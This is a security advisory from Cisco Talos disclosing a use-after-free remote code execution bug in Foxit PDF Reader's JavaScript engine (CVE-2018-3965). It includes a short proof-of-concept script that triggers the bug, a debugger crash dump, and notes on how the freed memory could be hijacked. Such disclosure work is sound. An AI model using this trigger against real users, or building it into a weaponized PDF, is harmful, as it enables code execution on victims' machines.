Talos Vulnerability Report

TALOS-2018-0630

Foxit PDF Reader JavaScript this.bookmarkRoot.children remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3965

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees numerous used objects, but the JavaScript can continue to execute. A direct access to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code. It should be noted that the closeDoc method requires higher privileges so either the document needs to come from a trusted location or the user must click a dialog that allows it to run.

This particular vulnerability lies in accessing saved reference to this.bookmarkRoot.children object, which can trigger a use-after-free condition like in the following code:

function main() {

var tmp = this.bookmarkRoot; 
app.activeDocs[0].closeDoc();
tmp["children"].toString = f0;

}


main();

In the above code, after closing the current document, a large amount of objects is freed. By modifying the toString method of this.bookmarkRoot.children object, we trigger a use after free with the following crash:

(bb8.15c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1234aff0 ebx=00000000 ecx=0e692da8 edx=0028e3f4 esi=12aa7f28 edi=11e09fd8
eip=00a9ce59 esp=0028e38c ebp=0028e3b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x655a9:
00a9ce59 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e692da8=????????
0:000> !heap -p -a ecx
    address 0e692da8 found in
    _DPH_HEAP_ROOT @ 7411000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e5c2a28:          e692000             2000
    6a1b90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    01eddf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    003d08bf FoxitReader+0x000d08bf
    003d28a8 FoxitReader+0x000d28a8
    0051965e FoxitReader+0x0021965e
    0051942b FoxitReader+0x0021942b
    0052842a FoxitReader+0x0022842a
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x655a9:
00a9ce59 8b01            mov     eax,dword ptr [ecx]
00a9ce5b 8b5004          mov     edx,dword ptr [eax+4]
00a9ce5e ffe2            jmp     edx

An access violation happens when accessing memory pointed to by ecx which points to a free memory location. If this memory location is placed under attacker control, the double dereference could lead to control over contents of edx which is used in an unconditional jump instruction, thus leading to arbitrary code execution.

Timeline

2018-07-16 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018—10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.